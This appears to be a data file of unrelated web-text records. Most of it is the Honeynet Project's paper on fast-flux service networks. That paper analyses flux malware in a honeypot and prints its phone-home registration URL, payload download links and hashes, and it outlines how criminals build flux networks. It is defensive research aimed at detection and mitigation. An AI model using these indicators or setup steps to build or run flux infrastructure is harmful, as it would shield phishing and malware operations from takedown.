text:
San Diego Convention Center, San Diego, California, USA
WASHINGTON, Nov. 10 – The Optical Society (OSA) and the IEEE Photonics Society are pleased to announce that John Bowers, Fred Kavil Chair in Nanotechnology and director of the Institute for Energy Efficiency at the University of California, Santa Barbara, is the recipient of the 2012 John Tyndall Award. Bowers is being recognized for "pioneering research in hybrid-silicon lasers and photonic integrated circuits."
Bowers, who is also a professor in the Departments of Electrical and Computer Engineering and Materials at UC Santa Barbara, received his M.S. and Ph.D. from Stanford University and worked for AT&T Bell Laboratories and Honeywell before joining UC Santa Barbara in 1987. Bowers has made numerous contributions to the field of optical communications – including more than 450 published journal articles, eight book chapters, 700 conference papers and 52 patents – and has been recognized for this work throughout the course of his career. Bowers is a member of the National Academy of Engineering, a fellow of IEEE, OSA, and the American Physical Society. He is a recipient of the OSA Holonyak Prize, the IEEE Photonics Society William Strifer Award, and the South Coast Business and Technology Entrepreneur of the Year Award.
The Tyndall Award recognizes Bowers' international leadership in the development of novel optoelectronic devices, including groundbreaking research in hybrid-silicon lasers and photonic integrated circuits. This hybrid technology lowers the costs of photonic sub-systems and allows optical communication technology to be applied to areas where it has been prohibitively expensive.
"John has been an active leader in the research and application of optical communications," said OSA CEO Elizabeth Rogan. "His work on hybrid-silicon lasers and computer circuitry sets the stage for the next generation of optoelectronic devices and paves the way for faster, more efficient optical communications technology."
Bowers will be presented the award during the plenary session of the 2012 Optical Fiber Communication Conference and Exposition/National Fiber Optic Engineers Conference (OFC/NFOEC) taking place at the Los Angeles Convention Center March 4 – 8.
"John's ground-breaking work on hybrid-silicon lasers has allowed us to combine the light-generating capability of III-V compounds with the fabrication advantages of silicon integrated waveguides," said IEEE Photonics Society Executive Director Rich Linke. "We are excited to celebrate John's achievements at OFC/NFOEC where the full optical communications community comes together to highlight advancements and share ideas."
The Tyndall Award is the highest recognition in the optical communications community and is co-sponsored by OSA and the IEEE Photonics Society. First presented in 1987, the Tyndall Award recognizes an individual who has made pioneering, highly significant, or continuing technical or leadership contributions to fiber optics technology. Corning, Inc. endows the award, a glass sculpture that represents the concept of total internal reflection. The award is named for the 19th century scientist who was the first to demonstrate a phenomenon of internal reflection.
Uniting more than 130,000 professionals from 175 countries, the Optical Society (OSA) brings together the global optics community through its programs and initiatives. Since 1916 OSA has worked to advance the common interests of the field, providing educational resources to the scientists, engineers and business leaders who work in the field by promoting the science of light and the advanced technologies made possible by optics and photonics. OSA publications, events, technical groups and programs foster optics knowledge and scientific collaboration among all those with an interest in optics and photonics. For more information, visit www.osa.org.
The IEEE Photonics Society is the photonics branch of the world's largest professional science and engineering society. We are dedicated to promoting the photonics profession through the publication of the highest-impact journals in the field, the sponsorship of hundreds of high quality conferences around the world and the recognition of outstanding contributions in the field. Our activities span the full scope of science, technology and applications in the photonics field. For more information please visit: www.PhotonicsSociety.org.
For more than 35 years, the Optical Fiber Communication Conference and Exposition/National Fiber Optic Engineers Conference (OFC/NFOEC) has been the premier destination for converging breakthrough research and innovation in telecommunications, optical networking and, recently, datacom and computing. Uniting service providers, systems companies, enterprise customers, IT businesses and component manufacturers, along with researchers, engineers and development teams, OFC/NFOEC combines dynamic business programming, an exposition of more than 500 companies and cutting-edge peer-reviewed research into one event that showcases the trends and pulse of the entire optical communications industry.
OFC/NFOEC is managed by the Optical Society (OSA) and co-sponsored by OSA, the Institute of Electrical and Electronics Engineers/Communications Society (IEEE/ComSoc) and the IEEE Photonics Society. Acting as a non-financial technical co-sponsor is Telcordia Technologies, Inc. Visit www.ofcnfoec.org.


text:
Here we go, the third and final chapter for this week!
Chapter 508
Your email address will not be published.
Author *
Email *
Notify me of follow-up comments by email.
Notify me of new posts by email.
Progress bar for sponsored chapters. If you enjoy reading IDS, please consider donating ! :D (Specify what you want to sponsor please :D)
Enter your email address to subscribe to this blog and receive notifications of new posts by email.
Email Address
© 2019 Aran Translations
Theme by Anders Noren — Up ↑

subset: commoncrawl


text:
Someone get this guy a job in IT!
Jeremy Hernandez told his grandfather that his computer was frozen, and he had the perfect solution.
16,000 linked Google computers, 10 million random YouTube thumbnail images, and more than a billion connections in between led to one result: the computers, without human guidance, learned what a cat is.
Google's attempt of simulating the human brain, with thousands of processors in conjunction with thinking software, discovered the house cat. It's a huge step forward in computing, and the best part is... it's learning.
Way back in 1982, when Atari was just past its prime, a man named Bob Stein, who worked at Encyclopedia Britannica as well as Atari, worked with Alan Kay and Disney animator Glenn Keane on a series of illustrations showing off Stein's idea for an "Intelligent Encyclopedia" that could tell its user about earthquakes, stocks, and history.
Their drawings look eerily similar to the first laptops, and the bones of the encyclopedia eventually manifested as Wikipedia two decades later. "The most interesting thing for me today about these images is that although we foresaw that people would be accessing information wirelessly (notice the little antenna on the device in the tide pool image," Stein said, "we completely missed the most important aspect of the network — that it was going to connect people to other people."


text:
An Ever Changing Enemy Primary Authors:
William Salusky
Robert Danford
Last Modified: 13 July, 2007
One of the most active threats we face today on the Internet is cyber-crime. Increasingly capable criminals are constantly developing more sophisticated means of profiting from online criminal activity. This paper demonstrates a growing, sophisticated technique called fast-flux service networks which we are seeing increasingly used in the wild. Fast-flux service networks are a network of compromised computer systems with public DNS records that are constantly changing, in some cases every few minutes. These constantly changing architectures make it much more difficult to track down criminal activities and shut down their operations.
In this paper we will first provide an overview of what fast-flux service networks are, how they operate, and how the criminal community is leveraging them, including two types which we have designated as single-flux and double-flux service networks. We then provide several examples of fast-flux service networks recently observed in the wild,. Next we detail how fast-flux service network malware operates and present the results of research where a honeypot was purposely infected with a fast-flux agent. Finally we cover how to detect, identify, and mitigate fast-flux service networks, primarily in large networking environments. At the end we supply five appendixes providing additional information for those interested in digging into more technical detail.
The goal of fast-flux is for a fully qualified domain name (such as www.example.com) to have multiple (hundreds or even thousands) IP addresses assigned to it. These IP addresses are swapped in and out of flux with extreme frequency, using a combination of round-robin IP addresses and a very short Time-To-Live (TTL) for any given particular DNS Resource Record (RR). Website hostnames may be associated with a new set of IP addresses as often as every 3 minutes. A browser connecting to the same website every 3 minutes would actually be connecting to a different infected computer each time. In addition, the attackers ensure that the compromised systems they are using to host their scams have the best possible bandwidth and service availability. They often use a load-distribution scheme which takes into account node health-check results, so that unresponsive nodes are taken out of flux and content availability is always maintained.
A second layer is often added for security and fail-over: blind proxy redirection. Redirection disrupts attempts to track down and mitigate fast-flux service network nodes. What happens is the large pool of rotating IP addresses are not the final destination of the request for the content (or other network service). Instead, compromised front end systems are merely deployed as redirectors that funnel requests and data to and from other backend servers, which actually serve the content. Essentially the domain names and URLs for advertised content no longer resolve to the IP address of a specific server, but instead fluctuate amongst many front end redirectors or proxies, which then in turn forward content to another group of backend servers. While this technique has been used for some time in the world of legitimate webserver operations, for the purpose of maintaining high availability and spreading load, in this case it is evidence of the technological evolution of criminal computer networks.
Fast-flux "motherships" are the controlling element behind fast-flux service networks, and are similar to the command and control (C&C) systems found in conventional botnets. However, compared to typical botnet IRC servers, fast-flux motherships have many more features. It is the upstream fast-flux mothership node, which is hidden by the front end fast-flux proxy network nodes, that actually delivers content back to the victim client who requests it. Flux-herder mothership nodes have been observed to operate successfully for extended periods of time in the wild. These nodes are often observed hosting both DNS and HTTP services, with web server virtual hosting configurations able to manage the content availability for thousands of domains simultaneously on a single host. Until late March 2007, we observed the appearance of only two primary upstream mothership hosts deployed and serving the many thousands of domains in flux, suggesting that this technique was primarily developed and utilized by small number of groups or individuals. Domain registrations of .hk, and .info were found to be among the most heavily utilized TLDs for registering fast-flux domains, but this registration abuse is most certainly shared amongst all registrars (as occasionally .com and other TLD domains are also witnessed).
We have categorized two different types of fast-flux networks, single-flux and double-flux. Everything you have read up to this point discusses single-flux networks. Double-flux has an additional layer of protection by also constantly changing the IP addresses for the Authoritive Name Servers. Below we give examples of each, starting with single-flux.
In Figure 1 below we demonstrate a single-flux network. We compare a normal web browser communicating directly with a typical website against the case of a single-flux service network, where the end user's browser communication is proxied via a redirector (the ¨flux-bot¨ or ¨flux-agent¨). When a victim believes that they are browsing http://flux.example.com, their browser is actually communicating with the fast-flux service network redirector which redirects the requests to the target website. Single-flux service networks change the DNS records for their front end node IP address as often as every 3-10 minutes, so even if one flux-agent redirector node is shut down, many other infected redirector hosts are standing by and available to quickly take its place. We have found these fast-flux networks to be composed of primarily compromised home computers.
Fast-flux networks are responsible for many illegal practices, including online pharmacy shops, money mule recruitment sites, phishing websites, extreme/illegal adult content, malicious browser exploit websites, and the distribution of malware downloads. Beyond our regular observation of new DNS and HTTP services, other services such as SMTP, POP, and IMAP can be delivered via fast-flux service networks. Because fast-flux techniques utilize blind TCP and UDP redirects, any directional service protocol with a single target port would likely encounter few problems being served via a fast-flux service network.
Double-flux networks are a more complex technique providing an additional layer of redundancy. Specifically, both the DNS A record sets and the authoritative NS records for a malicious domain are continually changed in a round robin manner and advertised into the fast-flux service network. From our observations of double-flux networks active in the wild, DNS and HTTP services are both served from the same upstream mothership node. Figure 2 below demonstrates the difference between a single-flux service network and double-flux service network. Please note that in the figure below that request caching is not taken into account and that the outbound request would usually emanate from the client's preferred nameserver instead of the client itself.
On the left-hand side, we depict a single-flux lookup: the client wants to resolve the address http://flux.example.com/ flux.example.com. First, it asks the DNS root nameserver which name server is responsible for the top-level domain .com and receives an answer (omitted in the picture). In a second step, the client queries the .com nameserver for the domain example.com and receives as an answer a referral to the nameserver ns.example.com. Now the client can query the authoritative DNS server ns.example.com for the actual IP address of the address flux.example.com. The authoritative nameserver answers with an IP address that the client can then attempt to initiate direct communication with. For a normal DNS lookup, the answer IP address usually remains constant over a certain period of time, whereas for single-flux nodes, the answer changes frequently.
At the right hand side, we depict a DNS lookup for an address within a double-flux domain. Again, the client wants to look up the address flux.example.com. Once again, the first step (lookup at root nameserver) is omitted for sake of brevity. Next, the client queries the nameserver responsible for the top-level domain .com for the authoritative nameserver for the domain example.com. In a third step, the client then queries the authoritative DNS server ns.example.com for the address flux.example.com. However, this authoritative nameserver is actually part of the double-flux scheme itself and its own IP address changes frequently. When a DNS request for flux.example.com is received from the client, the current authoritative nameserver forwards the queries to the mothership node for the required information. The client can them attempt to initiate direct communication with the target system (although this target system will itself be a dynamically changing front end flux-agent node).
¨Traditional¨ cyber-crime activities such as phishing typically require an attacker to compromise one or more victim computer systems (either individually or via mass auto-rooters) and establish a fake or fraudulent web site. Content would then be advertised to victims either by mass emailing or more targeted marketing (spear phishing), often through other compromised computer systems and botnets. The computer systems hosting the malicious content would be identified either by public DNS name or directly by IP address embedded within the email lure messages. These types of scams are identified relatively quickly by security professionals and can be quickly shut down. As the average time of survival was reduced for these phishing websites, criminals began to add additional layers of protection, such as server address obfuscation or utilize groups of proxy servers to redirect network. Such systems are limited in scale and can still be tracked down fairly quickly with international co-operation. We are now seeing the next evolutionary step, the fast-flux network. In the end, it's all about Return on Investment (ROI) for the criminals, and fast-flux service networks provide a reliable way to maximize the returns on their criminal activities for relatively low effort. Fast-flux service networks offer three major advantages to operators of Internet based criminal activity.
The first advantage is found in both legitimate and criminal operations: simplicity. Only one suitably powerful backend server (or mothership) host is needed to serve the master content and DNS information. The published URLs (such as via phishing lures) point to front end proxy redirectors, which then transparently redirect client connection requests to the actual malicious back end server or servers. This makes the content delivery infrastructure much simpler for criminals to manage. Instead of having to build (or compromise) and maintain many servers to host their phishing or malicious websites, they now require only a small number of well managed core systems to host their scam sites and malware, whilst other attackers can specialize in building and operating reliable fast-flux service networks to deliver their malicious content.
The second advantage is that front-end nodes are disposable criminal assets that can offer a layer of protection from ongoing investigative response or legal action. When a security professional is responding to an incident and attempts to track down a malicious website hosted via a fast-flux service network, they typically recover only a handful of IP addresses corresponding to disposable front-end nodes which may be spread across multiple jurisdictions, continents, regional languages and time zones, which further complicates the investigation. Because of the proxy redirection layer, an electronic crimes investigator or incident responder will often find no local evidence of the hosting of malicious content on compromised front end systems, and traffic logging is usually disabled so audit trails are also limited.
Thirdly, fast-flux service networks extend the operational lifespan of the critical backend core servers that are hidden by the front-end nodes. It can take much longer to identify and shut down these core backend servers due to the multiple layers of redirection – particularly if these nodes are hosted in territories with lax laws and criminal-friendly 'bullet-proof' hosting services. Very few operational changes have been observed in live backend servers during the extensive monitoring of fast-flux service network cores, which is a testament to the success of this operational model.
Having explained the underlying principles, we will now look at a fast-flux service network from the point of view of a criminal and review the basic steps required to setup a fast-flux service network. First, our criminal(s) registers a domain for their attack. An example would be a bogus domain name that appears similar to a bank, or a site promoting pharmaceutical drugs. In our case, we will use example.com'. Based on our research, the domain extensions .info and .hk are some of the most commonly abused Top Level Domains (TLD's). This is may be due to the fact that resellers for these domain registrars are more lax in their controls than other TLDs. Often these false domains are registered by fraudulent means, such as using stolen credit cards and bogus or otherwise invalid registrant account detail. The criminal(s) will often already have control of a network of compromised systems to act as their redirectors, or they can temporarily rent a botnet. In addition, registrations for the domains are often the cheapest. The criminal(s) then publish Name Server (NS) records that either point to bullet-proof hosting, or at any of the proxy/redirects flux-agent nodes under their control. Examples of bullet-proof hosting providers could include DNS services operated from Russia, China, or many other countries around the world. If the criminals do not have access to this type of hardened service, they will host the DNS services on their own compromised systems, and often the mothership node that is hosting the master web sites can also be found serving DNS services. We will now review two actual deployments.
Single-Flux: A Money Mule
First we will review the DNS records for a single-flux service network. This is a real world example demonstrating a money mule recruitment scam. A money mule is someone that acts as an intermediary in transferring or withdrawing money often involved in fraud. For example, a criminal will steal money out of someone's bank account, transfer it to the money mule's bank account, then have the money mule withdraw the funds and send them to a location for pickup, perhaps in a different country. What is unique about some current money mule scams is that the money mule may think they are working for a legitimate company, not realizing they are acting on the behalf of criminals in money laundering schemes. Often the money mule is actually just another victim in a chain of other victims.
Below are the single-flux DNS records typical of such an infrastructure. The tables show DNS snapshots of the domain name divewithsharks.hk taken approximately every 30 minutes, with the five A records returned round-robin showing clear infiltration into home/business dialup and broadband networks. Notice that the NS records do not change, but some of the A records do. This is the money mule web site.
Single-flux nets appear to apply some form of logic in deciding which of their available IP addresses will be advertised in the next set of responses. This may be based on ongoing connection quality monitoring (and perhaps a load-balancing algorithm). New flux-agent IP addresses are inserted into the fast-flux service network to replace nodes with poor performance, being subject to mitigation or otherwise offline nodes. Now let's take a look at the DNS records of the same domain name 30 minutes later and see what has changed:
As we see, highlighted in bold two of the advertised IP addresses have changed. Again, these two IP addresses belong to dial-up or broadband networks. Another 30 minutes later, a lookup of the domain returns the following information:
Now, we observe four new IP addresses and one IP address that we saw in the first query. This demonstrates the round-robin address response mechanism used in fast-flux networks. As we have seen in this example, the A records for the domain are constantly changing. Each one of these systems represents a compromised host acting as a redirector, a redirector that eventually points to the money mule web site. A significant response issue is that the incident responders do not know the ultimate destination of the money mule site unless they have access to one of the redirector nodes. This creates a far more dynamic and robust environment for the criminals. Next we will consider double-flux networks, where criminals add an additional layer of complexity to improve their security.
Double-Flux: MySpace
Double-flux is where both the NS records (authoritative name server for the domain) and A records (web serving host or hosts for the target) are regularly changed, making the fast-flux service network much more dynamic. For double-flux techniques to work, the domain registrar has to allow the domain administrator the ability to frequently change the NS information, which is not something that usually occurs in normal domain management.
In the example below, we observe a phishing attack directed against the popular social networking web site MySpace. The attacker has created a bogus website called login.mylspacee.com. This fake website appears visually to be the real MySpace web site, but instead harvests MySpace user authentication credentials from anyone who is tricked into logging in to the fake site. To make it harder for security professionals to shut down the fake site, both the NS and A DNS records are constantly changing. Observing DNS activity in such incidents, it is very common to detect a consistent pattern of between five to ten A record in a set of round-robin responses, in addition to a five NS record round-robin response set for any double-flux domain. This signature is becoming the hallmark for identifying double-flux domains. In the table below, observe that these DNS records are constantly changing:
About 4 minutes later, for the same domain, only the A records have changed. Notice that the NS records have remained the same.
Checking again one and a half hours later, the NS records for this domain have migrated and five new NS records appear. Similar to the previous example, we see that the A and NS record are hosted at dial-up or broadband providers, indicating that these are compromised hosts used by an attacker for nefarious purposes:
Flux node agents share the most essential and basic capabilities of the traditional, but minimalist IRC-based bot in several ways: they regularly phone home to announce their continued availability, they check for updates, perform download operations, and allow for the execution of arbitrary commands on the local operating system by a remote attacker. However, almost without exception, fast-flux Command and Control (C&C) activity observed in the wild thus far has been HTTP protocol based.
The ability of Fast-flux agents to proxy or redirect TCP services appears to be an outgrowth from the redirect functions of legacy IRC bots that possess optional UDP proxy or redirect capabilities. The bundling of these features enables a fast-flux service network to become a powerful criminal tool and helps to make the fast-flux service network operator less easily detectable. The fast-flux front end nodes will either act on command or execute hard-coded instructions to redirect inbound traffic received on configured ports to a specifically chosen upstream fast-flux mothership node. Several fast-flux service network operations have been observed maintaining distributed nodes that act primarily in performing availability and connection quality tests of individual flux-agents within the fast-flux service network. For an example of the development cycle of fast-flux malware, refer to Appendix A. For an example of the infection process for the malware, refer to Appendix B. Below we summarize two commonly used malware that have adopted fast-flux capabilities.
The networks based upon these malware variants have been erected to provide a robust platform for sending large volumes of unsolicited email (spam). They have been very successful in this goal and employ advanced techniques such as the constant automated creation of many malware variants to frustrate anti-virus signature creation. Infected machines download these updates on a regular schedule in order to increase the amount of time it takes for a system to be cleaned and taken offline. These updates must be hosted on websites, so if their public IP addresses remain static, the update sites can potentially be taken down fairly easily. Until recently, a strategy of auto-generating pseudo-random domain names which moved around was used to protect such download sites. Starting in May 2007, the criminal organization behind this spam business moved to a fast-flux service network model. This group is now hosting their DNS services and malware download sites via fast-flux service networks and appear to be enjoying continued success in their criminal endeavor.
The biggest competitor of the Warezov/Stration gang is perhaps the criminal organization operating a very large spam sending network based on the family of malware variants dubbed Storm/Peacomm/Peed. They employ a UDP-based P2P model for botnet command and control. This is a highly robust way to operate a large distributed network if the complexities of managing peer lists and minimizing latency can be overcome. They have also employed novel techniques to counter anti-spam solutions, such as generating image-based spam on the fly on the endpoints flux-agent nodes themselves, rather than simply relying on template based messaging. These images are randomized in ways which frustrate the OCR (object character recognition) technologies used in some anti-spam products and have been most commonly used to facilitate fraudulent pump and dump stock spam schemes. In June 2007 this group was observed attempting to modify their P2P network to support fast-flux style networking. This is a significant advance for spam-sending malware and requires further study.
We have discussed several real world examples captured in the wild. Now let's take a closer, more detailed look at an incident. In this case, we deliberately infected a honeypot system with a fast-flux agent. The system was contained in a controlled Honeywall environment. The malware we used was called weby.exe and had the MD5 hash 70978572bc5c4fecb9d759611b27a762 . The binary was executed in a sandbox environment with a Honeywall gateway providing data control and data capture capabilities. Post-infection analysis of the captured system and network data identified the following activity:
1. First, the system resolved the domain name www.google.com. This is most likely a basic Internet connectivity check. The malware component needs to first determine that it has access to the Internet and DNS is resolving.
2. The malware binary then registers with its owner. This is performed by connecting to a virtual web host with an HTTP GET request and a URL query string that contains information about the infected host. This is not a Command and Control (C&C) channel, instead it is nothing more than an announcement to the malware administrator that another victim system has been successfully infected. The HTTP GET request was submitted with the following form (query string named variable values are omitted). The complete HTTP GET request is shown in Appendix C, where we show a full example of a registration request by a flux-agent.
http://xxx.ifeelyou.info/settings/weby/remote.php?os= &user= &status= &version= &build= &uptime=
3. The fast-flux registration server (mothership) response to the announcement/registration step is "Added Successfully!" This we perceive to mean that the infected system has been successfully added to the fast-flux service network. A new victim is standing by for malicious duty.
4. The next step is for the infected system to obtain a configuration file by hourly polling of a settings file on a remote web server. This is where the flux agent learns details including what ports to bind and where the mothership is located and which incoming traffic will be redirected upstream to the mothership. In this case, the fast-flux agent submits a HTTP GET request to another virtual web host that only happens to share the same IP as used by the registration interface.
For which the server responds with what appears to be a consistent 197 byte binary/encoded configuration response. We are still attempting to reverse engineer complete details of this session. For full packet payload of the binary/encoded configuration response, please refer to Appendix D.
5. Finally the system downloads a suspiciously named DLL plugin_ddos.dll, whose naming might suggest to some that it is a denial of service component. For more information on this session, refer to Appendix E.
To give you a better feel of the scope of fast-flux service networks and how many systems are typically involved, below we provide statistics about one specific fast-flux service network. This example was involved in delivery of a PharmaShop scam. Key points include:
We collected data from 03 February 2007 to 11 February 2007. The domain itself greatfriedrice.info was created January 02, 2007 at 15:11 and was terminated February 13, 2007 at 04:26 EST. To gather our information we queried DNS every 2 minutes and then collected information on the IP addresses assigned to the domain name and how those IP addresses (A and NS records) changed over time. A total of 3,241 unique IP addresses were utilized in this fast-flux service net during the study. Of these unique IP addresses, 1,516 were advertised as Authoritative NS records. 2,844 were short lived TTL A record round robins used for HTTP proxy/redirect. 256 different Autonomous Systems (AS's) were represented in the infection base. 181 AS's served fluxDNS, and 241 AS's served fluxHTTP redirection. This may be an indicator of provider policies regarding inbound blocking policies of either UDP 53 or TCP 80 into subscriber populations. Below is a table highlighting the AS's that had the most infected systems as part of the fast-flux service network. This example was chosen because it was monitored at the highest resolution (every 2 min). To date over 80,000 flux IPs have been logged so far with over 1.2 million unique mappings.
AS Breakdown for DNS Flux Networks
AS Breakdown for HTTP Flux Networks
Our goal is to not only to explain the threat of fast-flux service networks, but also offer advice on how to identity and mitigate them. We provide several suggestions that highlight potential steps that can be taken and provide a brief overview of possible mitigation strategies. However, this is not a complete overview, since this complex topic deserves a paper on its own.
It can be very difficult to detect and shut down fast-flux service networks. The detection of domain names being served by a fast-flux service network depends upon multiple analytical passes over DNS query results, with increasing flux detection accuracy gained by employing a scoring mechanism to evaluate multiple relatively short lived DNS records, taking into account including the number of A records returned per query, the number of NS records returned, the diversity of unrelated networks represented and the presence of broadband or dialup networks in every result set. This concept of analyzing short TTLs with the associated scoring of result sets per domain or hostname from multiple successive TTL expiration periods can work in identifying the use of fast-flux service networks.
First, service providers can detect upstream mothership nodes by probing any suspected flux-agent proxies in specific ways. Assuming that the suspect flux-agent is in fact a proxy redirecting TCP port 80 or perhaps UDP port 53 traffic to some as of yet unknown host upstream, the use of any specially crafted request with an otherwise low probability of occurrence in the wild may enable egress/Internet bound IDS sensors to alert on network events that in turn identify the mothership. The basic idea is to send out probe packets and then observe them on their way from the flux-agent to the actual mothership. You will likely need to do additional heavy lifting to identify any other fast-flux service net infrastructure components that include the distributed health/availability/connection quality monitoring hosts, in addition to the phone-home and registration mechanisms.
The following example demonstrates a flux mothership host discovery process which leverages IDS sensor deployments. This is accomplished most simply through the use of a Base64 encoded text string, in this case it is "helloflux" which is then delivered through a flux agent as part of an HTTP request or DNS query. We do this essentially to exercise the full network communications path using easily detectable strings. This can be accomplished with the following two steps for use with any flux agent reported by DNS monitoring of provable flux domains. The following two Snort signatures trigger on HTTP and DNS communication that contains the Base64 encoded string "helloflux" (aGVsbG9mbHV4IAo). We set up these signatures on different IDS sensors across the network and then in a second step inject a message into the fast-flux service network. If one of the IDS sensors picks up the message, we can trace to which destination it is really sent by the flux-agent.
The following simple shell scripts injects the Base64-encoded string "helloflux" (aGVsbG9mbHV4IAo) one for a HTTP request and then another for a DNS request. With the help of the Snort signatures from above, we can then trace the path of the strings through the network.
If a service provider lacks IDS capability in the user space, yet has the capability to report on NetFlow, this mechanism can also be used to detect fast-flux service networks. This is not as good as the IDS-based detection method presented above, but looking for TCP 80 and/or UDP 53 into user IP space is a start. This kind of traffic should normally not occur and is thus a sign of a possible flux-agent. The following listing provides some further ideas to stop this kind of threat. In brackets, we list which party could implement such mitigation policies:
1. Establish policies to enable blocking of TCP 80 and UDP 53 into user-land networks if possible (ISP)
2. Block access to controller infrastructure (motherships, registration, and availability checkers) as they are discovered. (ISP)
3. Improving domain registrar response procedures, and auditing new registrations for likely fraudulent purpose. (Registrar)
4. Increase service provider awareness, foster understanding of the threat, shared processes and knowledge. (ISP)
5. Blackhole DNS and BGP route injection to kill related motherships and management infrastructure. (ISP)
6. Passive DNS harvesting/monitoring to identify A or NS records advertised into publicly routable user IP space. (ISPs, Registrars, Security professionals, ...)
This is just a very brief overview of how fast-flux service networks can be mitigated, and further research is required in this subject area.
Fast-flux service networks demonstrate an evolutionary step for online crime operations. Fast-flux service networks create robust, obfuscating service delivery infrastructures that make it difficult for system administrators and law enforcement agents to shut down active scams and identify the criminals operating them. The robustness, obfuscation capabilities, scalability and increased availability of fast-flux service produce an increased Return on Investment (ROI) for the criminals who operate them. Just as in legitimate business, the Internet represents a huge economic business model for online crime, which unfortunately means that we can expect techniques such as fast-flux service networks to continue to evolve. Often emerging threats such as fast-flux service networks are a step ahead of security professionals, and it looks likely that this particular arms race will continue into the foreseeable future.
A paper of this complexity requires the input and cooperation from many people and organizations. In particular the Honeynet Project would like to thank the following people:
* The SANS Internet Storm Center
* Multiple service provider networks
* David Watson of the UK Honeynet Project (reviewer)
* Thorsten Holz of the German Honeynet Project (reviewer)
* Fyodor of the Honeynet Project (reviewer)
* David Dittrich of the Honeynet Project (reviewer)
* Jamie Riden of the UK Honeynet Project (reviewer)
* Earl Sammons of the Honeynet Project (reviewer)
* Georg Wicherski of the German Honeynet Project (reviewer)
* Nico Fischbach of the French Honeynet Project (reviewer)
* Christian Seifert of the NZ Honeynet Project (reviewer)
* Christine Kilger (design artist)
There have been noticeable advancements the flux agent presented in this document over the past year, including the migration away from arbitrary TCP connections to obtain clear text instructions, using an HTTP library to obtain downloaded instructions, settings and binary updates, and finally the most recent variants that receive control settings via encoded update files. The following examples demonstrates a short historical timeline of just one fast-flux service network malware variant responsible for all double-flux service networks referenced in this research. It is worth noting that we have observed evidence supporting five distinct fast-flux service nets in operation on the Internet but have not acquired malware samples for all variants to support in depth study.
Sample: 5cbef2780c8b59977ae598775bad8ecb-weby.exe
File type(s): MS-DOS executable (EXE), OS/2 or MS Windows
Size: 51200 Bytes
Access: 2007-04-02 22:34:03.000000000 -0400
Modify: 2007-04-02 22:30:36.000000000 -0400
Change: 2007-04-02 22:34:03.000000000 -0400
MD5: 5cbef2780c8b59977ae598775bad8ecb
SHA1: 0925a54ba0366a6406d3222e65b03df0ea8cbc11
Source(s) of sample: (Timestamps are YYYY-MM-DD hh:mm:ss EDT -0400)
[2007-04-02 22:32:27] 5cbef2780c8b59977ae598775bad8ecb - http://xxx.myexes.hk/exes/weby.exe
Sample: 70978572bc5c4fecb9d759611b27a762-weby.exe
File type(s): MS-DOS executable (EXE), OS/2 or MS Windows
Size: 50176 Bytes
Access: 2007-03-15 02:09:03.000000000 -0400
Modify: 2007-03-09 10:51:26.000000000 -0500
Change: 2007-03-15 02:09:03.000000000 -0400
MD5: 70978572bc5c4fecb9d759611b27a762
SHA1: f8a4d881257dc2f2b2c17ee43f60144e6615994d
Source(s) of sample: (Timestamps are YYYY-MM-DD hh:mm:ss EDT -0400)
[2007-03-15 02:06:43] 70978572bc5c4fecb9d759611b27a762 âhttp://xxx.myexes.hk/exes/webdlx/weby.exe
Sample: 5870fd7119a91323dbdf04ebd07d0ac7-plugin_ddos.dll
File type(s): MS-DOS executable (EXE), OS/2 or MS Windows
Size: 9728 Bytes
Access: 2007-04-02 15:39:05.000000000 -0400
Modify: 2007-03-09 23:48:17.000000000 -0500
Change: 2007-04-02 15:39:06.000000000 -0400
MD5: 5870fd7119a91323dbdf04ebd07d0ac7
SHA1: 4c4d1b3e2030e9a8f3b5c8f152ef9ac7590a96ca
Source(s) of sample: (Timestamps are YYYY-MM-DD hh:mm:ss EDT -0400)
[2007-04-02 15:36:55] 5870fd7119a91323dbdf04ebd07d0ac7 â http://65.111.176.xxx/weby/plugin_ddos.dll
Previous incarnation:
Sample: e903534fab14ee7e00c279d64f578cbb-webyx.exe
File type(s): MS-DOS executable (EXE)
Size: 29557 Bytes
Access: 2007-02-06 15:26:03.000000000 -0500
Modify: 2007-02-02 08:47:24.000000000 -0500
Change: 2007-02-06 15:26:03.000000000 -0500
MD5: e903534fab14ee7e00c279d64f578cbb
SHA1: cf8279c35ec7d8914f3a4ccaaa71e14e7a925b93
Source(s) of sample: (Timestamps are YYYY-MM-DD hh:mm:ss EST -0500)
[2007-02-06 15:20:55] e903534fab14ee7e00c279d64f578cbb - http://xxx.myfiles.hk/exes/webyx.exe
Even older sample:
Sample: 88b58b62ae43f0fa42e852874aefbd01-weby.exe
File type(s): MS-DOS executable (EXE)
Size: 29425 Bytes
Access: 2007-01-20 16:29:06.000000000 -0500
Modify: 2007-01-20 05:39:22.000000000 -0500
Change: 2007-01-20 16:29:06.000000000 -0500
MD5: 88b58b62ae43f0fa42e852874aefbd01
SHA1: 6a22e1a06ced848da220301ab85be7a33867bfb5
Source(s) of sample: (Timestamps are YYYY-MM-DD hh:mm:ss EST -0500)
[2007-01-20 16:26:12] 88b58b62ae43f0fa42e852874aefbd01 - http://xxx.myexes.hk/exes/weby.exe
A prehistoric sample of flux-agent code (according to Internet time). We first observed
nodes infected with this malware in the middle of 2006, but only acquired a malware sample
for analysis in November 2006:
Sample: d134894005c299c1c01e63d9012a12c6-CD373B130D74F24CA5F8F1ADECA0F6856BC6072A-dnssvc.exe
File type(s): MS-DOS executable (EXE), OS/2 or MS Windows
Size: 11264 Bytes
Access: 2006-11-14 06:39:03.000000000 -0500
Modify: 2006-11-14 06:29:14.000000000 -0500
Change: 2006-11-14 06:39:03.000000000 -0500
MD5: d134894005c299c1c01e63d9012a12c6
SHA1: cd373b130d74f24ca5f8f1adeca0f6856bc6072a
Source(s) of sample: (Timestamps are YYYY-MM-DD hh:mm:ss EST -0500)
[2006-11-14 06:29:44] d134894005c299c1c01e63d9012a12c6 - CD373B130D74F24CA5F8F1ADE
Now that you have a better understanding of fast-flux technique, the different types, and the malware involved, let's see how the malware distribution process works. This is a real world example of a MySpace drive-by/phish attack vectors propagating Fast Flux network growth. In this example we identify two infection vectors:
1. Compromised MySpace Member profiles redirecting to drive-by/phish
2. SWF Flash image malicious redirection to drive-by/phish
We start with profile redirection in MySpace member profiles using iframes. Notice in this example just how many times iframes are called, often simply redirecting to another iframe. Also note the heavy use of obfuscated JavaScript. The attack begins when a connection is made to the domain http://xxx.e4447aa2.com.
By following the above /da3e/index.php link, we end up going to a credible looking MySpace landing page (serviced in flux) with the most interesting footer element displayed below:
